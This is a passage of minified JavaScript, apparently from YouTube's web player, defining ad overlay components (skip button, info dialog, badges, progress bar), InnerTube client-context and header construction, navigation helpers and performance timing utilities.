CK=function(x,T,t,u,H){ZJ.call(this,x,{L:"div",G:"ytp-ad-info-dialog-background",W:[{L:"div",G:"ytp-ad-info-dialog-container",W:[{L:"div",G:"ytp-ad-info-dialog-form",X:{role:"dialog",tabindex:"-1"},W:[{L:"div",G:"ytp-ad-info-dialog-title",z9:"{{title}}"},{L:"ul",G:"ytp-ad-info-dialog-ad-reasons"},{L:"div",G:"ytp-ad-info-dialog-message"},{L:"div",G:"ytp-ad-info-dialog-mute-container"},{L:"div",G:"ytp-ad-info-dialog-confirm-container",W:[{L:"button",G:"ytp-ad-info-dialog-confirm-button",z9:"{{confirmLabel}}"}]}]}]}]},
"ad-info-dialog",T,t,u);this.C=this.Z=null;this.S=this.Um("ytp-ad-info-dialog-confirm-button");this.tQ=this.Um("ytp-ad-info-dialog-mute-container");this.AQ=this.Um("ytp-ad-info-dialog-message");this.QU=this.Um("ytp-ad-info-dialog-ad-reasons");this.K=this.j=null;this.Om=H;this.D=null;this.nf=!1;this.jY=null;this.hide()};
ySD=function(x,T){if(T=T.content&&T.content.adFeedbackRenderer||null)x.Z=new yo(x.api,x.layoutId,x.interactionLoggingClientData,x.JQ),g.y(x,x.Z),x.Z.init(sV("ad-feedback-dialog"),T,x.macros),x.Z.yU(x.Om),x.Z.subscribe("a",function(){return x.publish("c")})};
Nm4=function(x,T){if(T=T.content&&T.content.confirmDialogRenderer||null)x.K=new J3(x.api,x.layoutId,x.interactionLoggingClientData,x.JQ),g.y(x,x.K),x.K.init(sV("ad-mute-confirm-dialog"),T,x.macros),x.K.yU(x.Om),x.K.subscribe("b",function(){return x.publish("c")})};
JS5=function(x){x.C&&x.C.listen("click",x.Ne,x);g.Pc(x.S,"click",function(){return x.Ne()})};
Qo=function(x,T,t,u,H,I,E){LK.call(this,x,T,t,u,I===void 0?!0:I,!0,["ytp-ad-info-hover-text-button"],"ad-info-hover-text-button",E===void 0?!1:E);this.C=null;this.K=H;this.hide()};
QuJ=function(x,T,t){T=T.dialog&&g.N(T.dialog,Cof)||null;T==null?g.vW(Error("AdInfoDialogEndpoint did not contain an AdInfoDialogRenderer.")):(x.C=new CK(x.api,x.layoutId,x.interactionLoggingClientData,x.JQ,x.K),g.y(x,x.C),x.C.init(sV("ad-info-dialog"),T,t),x.C.yU(x.K),x.C.subscribe("d",function(){return x.publish("f")}),x.C.subscribe("c",function(){return x.publish("e")}))};
f_3=function(x,T,t){x.button==null?g.vW(Error("AdInfoHoverTextButton.button was expected but it was not created.")):(x.Z&&g.uY(x.Z.element,"ytp-ad-info-hover-text-short"),(T=T&&T.serviceEndpoint&&g.N(T.serviceEndpoint,py4)||null)?(QuJ(x,T,t),x.button.listen("click",function(){x.C&&!x.C.lN&&(x.C.show(),OMJ(x))})):x.button.listen("click",function(){return OMJ(x)}))};
OMJ=function(x){x.api.onAdUxClicked("ad-info-icon-button",x.layoutId)};
pK=function(x,T,t,u,H,I){ZJ.call(this,x,{L:"div",G:"ytp-ad-text"},I===void 0?"ad-text":I,T,t,u,H===void 0?null:H);this.C=null;this.hide()};
OV=function(x,T){T&&g.$U(x.element,jb(x.C,T))};
fK=function(x,T,t,u,H,I,E){ZJ.call(this,x,T,t,u,H,I);this.C=E;g.y(this,this.C);this.nf=this.S=-1};
wr=function(x){x.C&&x.S===-1&&(x.S=x.C.subscribe("h",x.Wm,x),x.nf=x.C.subscribe("g",x.ZX,x),x.Wm())};
KK=function(x){x.C!=null&&x.S!==-1&&(x.C.Cd(x.S),x.C.Cd(x.nf),x.nf=-1,x.S=-1)};
g.XK=function(x,T,t,u,H,I){g.W.call(this);this.element=x;this.state=null;t||x.hide();this.Z=T;this.j=u===void 0?T:u;this.C=I;this.onHidden=H;this.delay=new g.wX(this.cO,0,this);g.y(this,this.delay)};
xr=function(x,T){x=x.element.element;T?x.setAttribute("aria-hidden","true"):x.removeAttribute("aria-hidden")};
TK=function(x,T,t,u,H,I){fK.call(this,x,{L:"div",G:"ytp-ad-preview-slot"},"ad-preview",T,t,u,H);var E=this;this.tQ=-1;this.K=this.api.Y().experiments.aU("enable_modern_skip_button_on_web");this.Z=new g.qS({L:"span",G:"ytp-ad-preview-container"});this.K&&this.Z.element.classList.add("ytp-ad-preview-container-detached");g.y(this,this.Z);this.j=this.K?new pK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,"ytp-ad-preview-text-modern"):new pK(this.api,this.layoutId,this.interactionLoggingClientData,
this.JQ,"ytp-ad-preview-text");g.y(this,this.j);this.j.yU(this.Z.element);this.jY=this.K?new g.qS({L:"span",G:"ytp-ad-preview-image-modern"}):new g.qS({L:"span",G:"ytp-ad-preview-image"});g.y(this,this.jY);this.D=new a4(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ);g.y(this,this.D);this.D.yU(this.jY.element);this.jY.yU(this.Z.element);this.Z.yU(this.element);this.Om=new g.XK(this.Z,400,!1,100,function(){return E.hide()});
g.y(this,this.Om);this.QU=0;this.AQ=!1;this.SY=I;this.hide()};
on=function(x){x.Om.show(100);x.show()};
t9=function(x,T,t,u,H,I){fK.call(this,x,{L:"div",DZ:["ytp-flyout-cta","ytp-flyout-cta-inactive"],W:[{L:"div",G:"ytp-flyout-cta-icon-container"},{L:"div",G:"ytp-flyout-cta-body",W:[{L:"div",G:"ytp-flyout-cta-text-container",W:[{L:"div",G:"ytp-flyout-cta-headline-container"},{L:"div",G:"ytp-flyout-cta-description-container"}]},{L:"div",G:"ytp-flyout-cta-action-button-container"}]}]},"flyout-cta",T,t,u,H);this.j=new a4(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,"ytp-flyout-cta-icon");
g.y(this,this.j);this.j.yU(this.Um("ytp-flyout-cta-icon-container"));this.j.element.classList.add("ytp-flyout-cta-icon-rounded");this.D=new pK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,"ytp-flyout-cta-headline");g.y(this,this.D);this.D.yU(this.Um("ytp-flyout-cta-headline-container"));this.K=new pK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,"ytp-flyout-cta-description");g.y(this,this.K);this.K.yU(this.Um("ytp-flyout-cta-description-container"));x=["ytp-flyout-cta-action-button"];
this.api.Y().B("web_modern_buttons")&&x.push("ytp-flyout-cta-action-button-rounded");this.Z=new FK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,x);g.y(this,this.Z);this.Z.yU(this.Um("ytp-flyout-cta-action-button-container"));this.Z.element.setAttribute("tabIndex","-1");NV(this.Z.element);this.jY=null;this.Om=0;this.QU=I;this.hide()};
s3=function(x,T,t,u,H){ZJ.call(this,x,{L:"div",G:"ytp-ad-instream-user-sentiment-container"},"instream-user-sentiment",T,t,u,H===void 0?null:H);var I=this;this.C=null;this.j=new Ba(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,["ytp-ad-instream-user-sentiment-like-button"]);g.y(this,this.j);this.j.yU(this.element);this.Z=new Ba(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,["ytp-ad-instream-user-sentiment-dislike-button"]);g.y(this,this.Z);this.Z.yU(this.element);
this.K=new g.XK(this,400,!1,500,function(){return I.hide()});
g.y(this,this.K);this.hide()};
uJ=function(x,T,t,u,H,I){H=H===void 0?0:H;I=I===void 0?!1:I;g.W.call(this);this.Z=x;this.j=!1;this.S=u;this.ZZ=I;this.D=!1;this.C=null;T>0&&(this.C=new g.wX(this.kF,T,this),g.y(this,this.C));this.T=new g.wX(this.kF,t,this);g.y(this,this.T);this.J=v43(this.Z,H,1,u);g.y(this,this.J);this.N=v43(this.Z,0,u,1);g.y(this,this.N);this.K=new bj;g.y(this,this.K)};
$r=function(x,T,t){this.Z=x;this.isAsync=T;this.C=t};
wyD=function(x){switch(x){case 2:return 0;case 1:return 2;case 0:return 3;case 4:case 3:return 1;default:$Z(x,"unknown result type")}};
KPH=function(x,T){var t=1;x.isTrusted===!1&&(t=0);Q0("ISDSTAT",t);Hu(t,"i.s_",{triggerContext:"sk",metadata:T});return t};
Xym=function(x,T){var t=[];T?T.isTrusted===!0?t.push("BISCOTTI_BASED_DETECTION_STATE_AS_SEEK_EVENT_TRUSTED"):T.isTrusted===!1?t.push("BISCOTTI_BASED_DETECTION_STATE_AS_SEEK_EVENT_NOT_TRUSTED"):t.push("BISCOTTI_BASED_DETECTION_STATE_AS_SEEK_EVENT_TRUSTED_PROPERTY_UNDEFINED"):t.push("BISCOTTI_BASED_DETECTION_STATE_AS_SEEK_EVENT_UNDEFINED");Hu(0,"a.s_",{metadata:x,states:t});Q0("ASDSTAT",0)};
Hu=function(x,T,t){T=xR3[T];var u,H,I={detected:x===0,source:""+T.Z+((u=t.triggerContext)!=null?u:"")+((H=t.mV)!=null?H:""),detectionStates:t.states,durationMs:t.tv};t.metadata&&(I.contentCpn=t.metadata.contentCpn,I.adCpn=t.metadata.adCpn);g.io("biscottiBasedDetection",I);T.C!==void 0&&(t=Number(g.pr("CATSTAT",0)),T.C!==void 0?(T=T.C,x=wyD(x),x=t&~(3<<T)|x<<T):x=t,Q0("CATSTAT",x))};
iJ=function(x){return x?"layout:  "+x.layoutType:""};
In=function(x,T,t){return x?!0:(g.Vh(new g.CS("Assertion: "+T,t)),!1)};
E3=function(x,T,t,u,H){u=u===void 0?{}:u;if(!H||Math.random()<5E-4){T=T||null;t=t||null;x=x instanceof Error?x:new g.CS(x);if(x.args)for(var I=g.S(x.args),E=I.next();!E.done;E=I.next())E=E.value,E instanceof Object&&(u=Object.assign({},E,u));u.category="H5 Ads Control Flow";T&&(u.slot=T?"slot:  "+T.slotType:"");t&&(u.layout=iJ(t),u.layoutId=t.layoutId);H&&(u.known_error_aggressively_sampled=!0);x.args=[u];g.Vh(x)}};
g.qa=function(x,T){this.state=x;this.oldState=T};
Zy=function(x,T){return g.p(x.state,T)&&!g.p(x.oldState,T)?1:!g.p(x.state,T)&&g.p(x.oldState,T)?-1:0};
g.j1=function(x,T){return Zy(x,T)>0};
e1=function(x,T,t,u,H,I){fK.call(this,x,{L:"div",G:"ytp-ad-skip-button-slot"},"skip-button",T,t,u,H);var E=this;this.jY=null;this.Om=!1;this.AQ=I;this.D=this.api.Y().experiments.aU("enable_modern_skip_button_on_web");this.tQ=!1;this.j=new g.qS({L:"span",DZ:["ytp-ad-skip-button-container"]});this.D&&this.j.element.classList.add("ytp-ad-skip-button-container-detached");this.api.B("enable_ad_pod_index_autohide")&&this.j.element.classList.add("ytp-ad-skip-button-container--clean-player");g.y(this,this.j);
this.j.yU(this.element);this.Z=this.K=null;this.SY=new g.XK(this.j,500,!1,100,function(){return E.hide()});
g.y(this,this.SY);this.QU=new uJ(this.j.element,15E3,5E3,.5,.5,this.D);g.y(this,this.QU);this.hide()};
oe4=function(x){x=x.jY&&x.jY.adRendererCommands;return(x&&x.clickCommand&&g.N(x.clickCommand,g.lJ)&&g.N(x.clickCommand,g.lJ).commands||[]).some(function(T){return T.adLifecycleCommand?T$i(T.adLifecycleCommand):!1})};
T$i=function(x){return x.action==="END_LINEAR_AD"||x.action==="END_LINEAR_AD_PLACEMENT"};
m6=function(x,T,t,u,H,I){fK.call(this,x,{L:"div",G:"ytp-ad-skip-ad-slot"},"skip-ad",T,t,u,H);this.jY=I;this.K=!1;this.D=0;this.j=this.Z=null;this.hide()};
trV=function(x,T){x.K||(x.K=!0,x.Z&&(T?x.Z.Om.hide():x.Z.hide()),T?(x=x.j,x.SY.show(),x.show()):x.j.show())};
dJ=function(x,T,t,u){FK.call(this,x,T,t,u,["ytp-ad-visit-advertiser-button"],"visit-advertiser")};
Ma=function(x,T,t,u,H,I,E){I=I===void 0?!1:I;E=E===void 0?!1:E;ZJ.call(this,x,{L:"span",G:"ytp-ad-simple-ad-badge"},"simple-ad-badge",T,t,u);this.j=H;this.C=this.Um("ytp-ad-simple-ad-badge");(this.Z=I)&&this.C.classList.add("ytp-ad-simple-ad-badge--clean-player");E&&this.C.classList.add("ytp-ad-simple-ad-badge--survey");this.hide()};
A9=function(x,T,t,u,H){H=H===void 0?!1:H;u9.call(this,"player-overlay",x,{},T,u);this.videoAdDurationSeconds=t;this.interactionLoggingClientData=u;this.h_=H};
Rn=function(x,T){g.$B.call(this);this.api=x;this.durationMs=T;this.C=null;this.uI=new bj(this);g.y(this,this.uI);this.Z=ssV;this.uI.V(this.api,"presentingplayerstatechange",this.t0);this.C=this.uI.V(this.api,"onAdPlaybackProgress",this.Bk)};
Pu=function(x){g.$B.call(this);this.C=!1;this.Uk=0;this.uI=new bj(this);g.y(this,this.uI);this.durationMs=x;this.iI=new g.SL(100);g.y(this,this.iI);this.uI.V(this.iI,"tick",this.Bk);this.Z={seekableStart:0,seekableEnd:x/1E3,current:0};this.start()};
g.S1=function(x,T){var t=Math.abs(Math.floor(x)),u=Math.floor(t/86400),H=Math.floor(t%86400/3600),I=Math.floor(t%3600/60);t=Math.floor(t%60);if(T){T="";u>0&&(T+=" "+u+" Days");if(u>0||H>0)T+=" "+H+" Hours";T+=" "+I+" Minutes";T+=" "+t+" Seconds";u=T.trim()}else{T="";u>0&&(T+=u+":",H<10&&(T+="0"));if(u>0||H>0)T+=H+":",I<10&&(T+="0");T+=I+":";t<10&&(T+="0");u=T+t}return x>=0?u:"-"+u};
g.cu=function(x){return(!("button"in x)||typeof x.button!=="number"||x.button===0)&&!("shiftKey"in x&&x.shiftKey)&&!("altKey"in x&&x.altKey)&&!("metaKey"in x&&x.metaKey)&&!("ctrlKey"in x&&x.ctrlKey)};
Yr=function(x,T,t,u,H,I,E){fK.call(this,x,{L:"span",G:E?"ytp-ad-duration-remaining--clean-player":"ytp-ad-duration-remaining"},"ad-duration-remaining",T,t,u,H);this.videoAdDurationSeconds=I;this.Z=null;this.api.B("clean_player_style_fix_on_web")&&this.element.classList.add("ytp-ad-duration-remaining--clean-player-with-light-shadow");E&&this.api.Y().Z&&(this.element.classList.add("ytp-ad-duration-remaining--mweb"),this.api.B("clean_player_style_fix_on_web")&&(this.element.classList.add("ytp-ad-duration-remaining--mweb-light"),
CM&&this.element.classList.add("ytp-ad-duration-remaining--mweb-ios")));this.hide()};
U3=function(x,T,t,u){pK.call(this,x,T,t,u,"ytp-video-ad-top-bar-title","ad-title");x.B("enable_ad_pod_index_autohide")&&this.element.classList.add("ytp-video-ad-top-bar-title--clean-player")};
bJ=function(x){this.content=x.content;if(x.commandRuns){x=g.S(x.commandRuns);for(var T=x.next();!T.done;T=x.next())T=T.value,this.loggingDirectives=g.N(T,uwv),T.onTap&&(this.interaction={onTap:T.onTap})}};
rJ=function(x,T,t,u){ZJ.call(this,x,{L:"div",G:"ad-simple-attributed-string"},"ad-simple-attributed-string",T,t,u);this.hide()};
zK=function(x,T,t,u,H){ZJ.call(this,x,{L:"span",G:H?"ytp-ad-badge--clean-player":"ytp-ad-badge"},"ad-badge",T,t,u);this.Z=H;this.adBadgeText=new rJ(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ);this.adBadgeText.yU(this.element);g.y(this,this.adBadgeText);H?(this.adBadgeText.element.classList.add("ytp-ad-badge__text--clean-player"),this.api.B("clean_player_style_fix_on_web")&&(this.adBadgeText.element.classList.add("ytp-ad-badge__text--clean-player-with-light-shadow"),CM&&this.adBadgeText.element.classList.add("ytp-ad-badge--stark-clean-player-ios"))):
this.adBadgeText.element.classList.add("ytp-ad-badge__text");this.hide()};
kr=function(x,T,t,u,H){ZJ.call(this,x,{L:"span",G:"ytp-ad-pod-index"},"ad-pod-index",T,t,u);this.Z=H;this.api.Y().Z&&(this.element.classList.add("ytp-ad-pod-index--mweb"),this.api.B("clean_player_style_fix_on_web")&&(this.element.classList.add("ytp-ad-pod-index--mweb-light"),CM&&this.element.classList.add("ytp-ad-pod-index--mweb-ios")));this.hide()};
Fu=function(x,T,t,u){ZJ.call(this,x,{L:"div",G:"ytp-ad-disclosure-banner"},"ad-disclosure-banner",T,t,u);this.hide()};
h9=function(x,T){this.Z=x;this.C=T};
vu=function(x,T,t){if(!x.getLength())return t!=null?t:Infinity;x=(T-x.Z)/x.getLength();return g.iu(x,0,1)};
V6=function(x,T,t,u){u=u===void 0?!1:u;g.qS.call(this,{L:"div",G:"ytp-ad-persistent-progress-bar-container",W:[{L:"div",G:"ytp-ad-persistent-progress-bar"}]});this.api=x;this.Z=T;this.j=t;u&&this.element.classList.add("ytp-ad-persistent-progress-bar-container--clean-player");g.y(this,this.Z);this.progressBar=this.Um("ytp-ad-persistent-progress-bar");this.C=-1;this.V(x,"presentingplayerstatechange",this.onStateChange);this.hide();this.onStateChange()};
GK=function(x,T,t,u,H,I){ZJ.call(this,x,{L:"div",G:"ytp-ad-player-overlay",W:[{L:"div",G:"ytp-ad-player-overlay-flyout-cta"},{L:"div",G:"ytp-ad-player-overlay-instream-info"},{L:"div",G:"ytp-ad-player-overlay-skip-or-preview"},{L:"div",G:"ytp-ad-player-overlay-progress-bar"},{L:"div",G:"ytp-ad-player-overlay-instream-user-sentiment"},{L:"div",G:"ytp-ad-player-overlay-ad-disclosure-banner"}]},"player-overlay",T,t,u);this.jY=I;this.D=this.Um("ytp-ad-player-overlay-flyout-cta");this.D.classList.add("ytp-ad-player-overlay-flyout-cta-rounded");
this.C=this.Um("ytp-ad-player-overlay-instream-info");this.K=null;$Rf(this)&&(x=KI("div"),g.uY(x,"ytp-ad-player-overlay-top-bar-gradients"),this.api.B("disable_ad_preview_for_instream_ads")&&g.uY(x,"ytp-ad-player-overlay-top-bar-gradients--clean-player"),T=this.C,T.parentNode&&T.parentNode.insertBefore(x,T),(T=this.api.getVideoData(2))&&T.isListed&&T.title&&(t=new U3(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ),t.yU(x),t.init(sV("ad-title"),{text:T.title},this.macros),g.y(this,
t)),this.K=x);this.j=null;this.S=this.Um("ytp-ad-player-overlay-skip-or-preview");this.nf=this.Um("ytp-ad-player-overlay-progress-bar");this.QU=this.Um("ytp-ad-player-overlay-instream-user-sentiment");this.Om=this.Um("ytp-ad-player-overlay-ad-disclosure-banner");this.Z=H;g.y(this,this.Z);this.hide()};
$Rf=function(x){x=x.api.Y();return g.L2(x)&&x.Z};
n2=function(x,T,t){var u={};T&&(u.v=T);t&&(u.list=t);x={name:x,locale:void 0,feature:void 0};for(var H in u)x[H]=u[H];u=g.NY("/sharing_services",x);g.Be(u)};
g.an=function(x){x&=16777215;var T=[(x&16711680)>>16,(x&65280)>>8,x&255];x=T[0];var t=T[1];T=T[2];x=Number(x);t=Number(t);T=Number(T);if(x!=(x&255)||t!=(t&255)||T!=(T&255))throw Error('"('+x+","+t+","+T+'") is not a valid RGB color');t=x<<16|t<<8|T;return x<16?"#"+(16777216|t).toString(16).slice(1):"#"+t.toString(16)};
gJ=function(x){this.C=new zo(x)};
Hf3=function(){var x=!1;try{x=!!window.sessionStorage.getItem("session_logininfo")}catch(T){x=!0}return(g.pr("INNERTUBE_CLIENT_NAME")==="WEB"||g.pr("INNERTUBE_CLIENT_NAME")==="WEB_CREATOR")&&x};
Bu=function(x){if(g.pr("LOGGED_IN",!0)&&Hf3()){var T=g.pr("VALID_SESSION_TEMPDATA_DOMAINS",[]);var t=g.nq(window.location.href);t&&T.push(t);t=g.nq(x);g.wy(T,t)||!t&&cE(x,"/")?(T=aZ(x),(T=RKH(T))?(T=Gx4(T),T=(T=g.ny(T)||null)?o6(T):{}):T=null):T=null;T==null&&(T={});t=T;var u=void 0;Hf3()?(u||(u=g.pr("LOGIN_INFO")),u?(t.session_logininfo=u,t=!0):t=!1):t=!1;t&&bw(x,T)}};
g.ifV=function(x){var T=T===void 0?{}:T;var t=t===void 0?"":t;var u=u===void 0?window:u;x=g.NY(x,T);Bu(x);t=g.hG(x+t);u=u.location;t=vx(t);t!==void 0&&(u.href=t)};
g.Wu=function(x,T,t){T=T===void 0?{}:T;t=t===void 0?!1:t;var u=g.pr("EVENT_ID");u&&(T.ei||(T.ei=u));T&&bw(x,T);t||(Bu(x),g.ifV(x))};
g.Dy=function(x,T,t,u,H){H=H===void 0?!1:H;t&&bw(x,t);t=g.hG(x);var I=g.z1(t);x!=I&&XE(Error("Unsafe window.open URL: "+x));x=I;T=T||Xq(x).toString(36);try{if(H){H=x;H=qrH(H);Bu(H);g.aI(window,H,T,"attributionsrc");return}}catch(E){g.wF(E)}Bu(x);g.aI(window,t,T,u)};
Icf=function(x){y6=x};
Eef=function(x){Na=x};
q5C=function(x){J9=x};
jsX=function(){ZfH=J9=Na=y6=null};
lc5=function(){var x=x===void 0?window.location.href:x;if(g.R6("kevlar_disable_theme_param"))return null;var T=Vt(g.Lq(5,x));if(g.R6("enable_dark_theme_only_on_shorts")&&T!=null&&T.startsWith("/shorts/"))return"USER_INTERFACE_THEME_DARK";try{var t=g.sr(x).theme;return elJ.get(t)||null}catch(u){}return null};
C2=function(){this.C={};if(this.Z=dV3()){var x=g.ny("CONSISTENCY");x&&mR5(this,{encryptedTokenJarContents:x})}};
mR5=function(x,T){if(T.encryptedTokenJarContents&&(x.C[T.encryptedTokenJarContents]=T,typeof T.expirationSeconds==="string")){var t=Number(T.expirationSeconds);setTimeout(function(){delete x.C[T.encryptedTokenJarContents]},t*1E3);
x.Z&&g.Ly("CONSISTENCY",T.encryptedTokenJarContents,t,void 0,!0)}};
p2=function(){this.Z=-1;var x=g.pr("LOCATION_PLAYABILITY_TOKEN");g.pr("INNERTUBE_CLIENT_NAME")==="TVHTML5"&&(this.localStorage=Q6(this))&&(x=this.localStorage.get("yt-location-playability-token"));x&&(this.locationPlayabilityToken=x,this.C=void 0)};
Q6=function(x){return x.localStorage===void 0?new ou("yt-client-location"):x.localStorage};
g.O3=function(x,T,t){T=T===void 0?!1:T;t=t===void 0?!1:t;var u=g.pr("INNERTUBE_CONTEXT");if(!u)return g.vW(Error("Error: No InnerTubeContext shell provided in ytconfig.")),{};u=g.vR(u);g.R6("web_no_tracking_params_in_shell_killswitch")||delete u.clickTracking;u.client||(u.client={});var H=u.client;H.clientName==="MWEB"&&H.clientFormFactor!=="AUTOMOTIVE_FORM_FACTOR"&&(H.clientFormFactor=g.pr("IS_TABLET")?"LARGE_FORM_FACTOR":"SMALL_FORM_FACTOR");H.screenWidthPoints=window.innerWidth;H.screenHeightPoints=
window.innerHeight;H.screenPixelDensity=Math.round(window.devicePixelRatio||1);H.screenDensityFloat=window.devicePixelRatio||1;H.utcOffsetMinutes=-Math.floor((new Date).getTimezoneOffset());var I=I===void 0?!1:I;g.Bc();var E="USER_INTERFACE_THEME_LIGHT";g.Wc(0,165)?E="USER_INTERFACE_THEME_DARK":g.Wc(0,174)?E="USER_INTERFACE_THEME_LIGHT":!g.R6("kevlar_legacy_browsers")&&window.matchMedia&&window.matchMedia("(prefers-color-scheme)").matches&&window.matchMedia("(prefers-color-scheme: dark)").matches&&
(E="USER_INTERFACE_THEME_DARK");I=I?E:lc5()||E;H.userInterfaceTheme=I;if(!T){if(I=scJ())H.connectionType=I;g.R6("web_log_effective_connection_type")&&(I=$Bf())&&(u.client.effectiveConnectionType=I)}var Z;if(g.R6("web_log_memory_total_kbytes")&&((Z=g.BX.navigator)==null?0:Z.deviceMemory)){var e;Z=(e=g.BX.navigator)==null?void 0:e.deviceMemory;u.client.memoryTotalKbytes=""+Z*1E6}g.R6("web_gcf_hashes_innertube")&&(I=jim())&&(e=I.coldConfigData,Z=I.coldHashData,I=I.hotHashData,u.client.configInfo=u.client.configInfo||
{},e&&(u.client.configInfo.coldConfigData=e),Z&&(u.client.configInfo.coldHashData=Z),I&&(u.client.configInfo.hotHashData=I));e=g.sr(g.BX.location.href);!g.R6("web_populate_internal_geo_killswitch")&&e.internalcountrycode&&(H.internalGeo=e.internalcountrycode);H.clientName==="MWEB"||H.clientName==="WEB"?(H.mainAppWebInfo={graftUrl:g.BX.location.href},g.R6("kevlar_woffle")&&wsf.instance&&(e=wsf.instance,H.mainAppWebInfo.pwaInstallabilityStatus=!e.C&&e.Z?"PWA_INSTALLABILITY_STATUS_CAN_BE_INSTALLED":
"PWA_INSTALLABILITY_STATUS_UNKNOWN"),H.mainAppWebInfo.webDisplayMode=nS(),H.mainAppWebInfo.isWebNativeShareAvailable=navigator&&navigator.share!==void 0):H.clientName==="TVHTML5"&&(!g.R6("web_lr_app_quality_killswitch")&&(e=g.pr("LIVING_ROOM_APP_QUALITY"))&&(H.tvAppInfo=Object.assign(H.tvAppInfo||{},{appQuality:e})),e=g.pr("LIVING_ROOM_CERTIFICATION_SCOPE"))&&(H.tvAppInfo=Object.assign(H.tvAppInfo||{},{certificationScope:e}));if(!g.R6("web_populate_time_zone_itc_killswitch")){a:{if(typeof Intl!==
"undefined")try{var l=(new Intl.DateTimeFormat).resolvedOptions().timeZone;break a}catch(B){}l=void 0}l&&(H.timeZone=l)}(l=SF())?H.experimentsToken=l:delete H.experimentsToken;l=ci();C2.instance||(C2.instance=new C2);u.request=Object.assign({},u.request,{internalExperimentFlags:l,consistencyTokenJars:g.cR(C2.instance.C)});!g.R6("web_prequest_context_killswitch")&&(l=g.pr("INNERTUBE_CONTEXT_PREQUEST_CONTEXT"))&&(u.request.externalPrequestContext=l);H=g.Bc();l=g.Wc(0,58);H=H.get("gsml","");u.user=Object.assign({},
u.user);l&&(u.user.enableSafetyMode=l);H&&(u.user.lockedSafetyMode=!0);g.R6("warm_op_csn_cleanup")?t&&(T=g.Yx())&&(u.clientScreenNonce=T):!T&&(T=g.Yx())&&(u.clientScreenNonce=T);x&&(u.clickTracking={clickTrackingParams:x});if(x=g.yJ("yt.mdx.remote.remoteClient_"))u.remoteClient=x;p2.getInstance().setLocationOnInnerTubeContext(u);try{var m=Z2(),d=m.bid;delete m.bid;u.adSignalsInfo={params:[],bid:d};for(var M=g.S(Object.entries(m)),A=M.next();!A.done;A=M.next()){var R=g.S(A.value),Y=R.next().value,
b=R.next().value;m=Y;d=b;x=void 0;(x=u.adSignalsInfo.params)==null||x.push({key:m,value:""+d})}var z,F;if(((z=u.client)==null?void 0:z.clientName)==="TVHTML5"||((F=u.client)==null?void 0:F.clientName)==="TVHTML5_UNPLUGGED"){var V=g.pr("INNERTUBE_CONTEXT");V.adSignalsInfo&&(u.adSignalsInfo.advertisingId=V.adSignalsInfo.advertisingId,u.adSignalsInfo.advertisingIdSignalType="DEVICE_ID_TYPE_CONNECTED_TV_IFA",u.adSignalsInfo.limitAdTracking=V.adSignalsInfo.limitAdTracking)}}catch(B){g.vW(B)}return u};
AcX=function(x,T){if(!x)return!1;var t,u=(t=g.N(x,dRJ))==null?void 0:t.signal;if(u&&T.Ez)return!!T.Ez[u];var H;if((t=(H=g.N(x,Mrf))==null?void 0:H.request)&&T.Ch)return!!T.Ch[t];for(var I in x)if(T.ez[I])return!0;return!1};
Rlf=function(x){var T={"Content-Type":"application/json"};g.pr("EOM_VISITOR_DATA")?T["X-Goog-EOM-Visitor-Id"]=g.pr("EOM_VISITOR_DATA"):g.pr("VISITOR_DATA")&&(T["X-Goog-Visitor-Id"]=g.pr("VISITOR_DATA"));T["X-Youtube-Bootstrap-Logged-In"]=g.pr("LOGGED_IN",!1);g.pr("DEBUG_SETTINGS_METADATA")&&(T["X-Debug-Settings-Metadata"]=g.pr("DEBUG_SETTINGS_METADATA"));x!=="cors"&&((x=g.pr("INNERTUBE_CONTEXT_CLIENT_NAME"))&&(T["X-Youtube-Client-Name"]=x),(x=g.pr("INNERTUBE_CONTEXT_CLIENT_VERSION"))&&(T["X-Youtube-Client-Version"]=
x),(x=g.pr("CHROME_CONNECTED_HEADER"))&&(T["X-Youtube-Chrome-Connected"]=x),(x=g.pr("DOMAIN_ADMIN_STATE"))&&(T["X-Youtube-Domain-Admin-State"]=x),g.pr("ENABLE_LAVA_HEADER_ON_IT_EXPANSION")&&(x=g.pr("SERIALIZED_LAVA_DEVICE_CONTEXT"))&&(T["X-YouTube-Lava-Device-Context"]=x));return T};
Pev=function(){this.C={}};
f2=function(){this.mappings=new Pev};
wJ=function(x){return function(){return new x}};
ccX=function(x){var T=T===void 0?"UNKNOWN_INTERFACE":T;if(x.length===1)return x[0];var t=S5q[T];if(t){t=new RegExp(t);for(var u=g.S(x),H=u.next();!H.done;H=u.next())if(H=H.value,t.exec(H))return H}var I=[];Object.entries(S5q).forEach(function(E){var Z=g.S(E);E=Z.next().value;Z=Z.next().value;T!==E&&I.push(Z)});
t=new RegExp(I.join("|"));x.sort(function(E,Z){return E.length-Z.length});
u=g.S(x);for(H=u.next();!H.done;H=u.next())if(H=H.value,!t.exec(H))return H;return x[0]};
g.K2=function(x){return"/youtubei/v1/"+ccX(x)};
Xu=function(){};
xK=function(){};
TE=function(){};
o3=function(x){return g.yJ("ytcsi."+(x||"")+"data_")||Y5X(x)};
URX=function(){var x=o3();x.info||(x.info={});return x.info};
eK=function(x){x=o3(x);x.metadata||(x.metadata={});return x.metadata};
lc=function(x){x=o3(x);x.tick||(x.tick={});return x.tick};
mw=function(x){x=o3(x);if(x.gel){var T=x.gel;T.gelInfos||(T.gelInfos={});T.gelTicks||(T.gelTicks={})}else x.gel={gelTicks:{},gelInfos:{}};return x.gel};
bf3=function(x){x=mw(x);x.gelInfos||(x.gelInfos={});return x.gelInfos};
dO=function(x){var T=o3(x).nonce;T||(T=g.Sq(16),o3(x).nonce=T);return T};
Y5X=function(x){var T={tick:{},info:{}};g.DC("ytcsi."+(x||"")+"data_",T);return T};
Mk=function(){var x=g.yJ("ytcsi.debug");x||(x=[],g.DC("ytcsi.debug",x),g.DC("ytcsi.reference",{}));return x};
AA=function(x){x=x||"";var T=rcq();if(T[x])return T[x];var t=Mk(),u={timerName:x,info:{},tick:{},span:{},jspbInfo:[]};t.push(u);return T[x]=u};
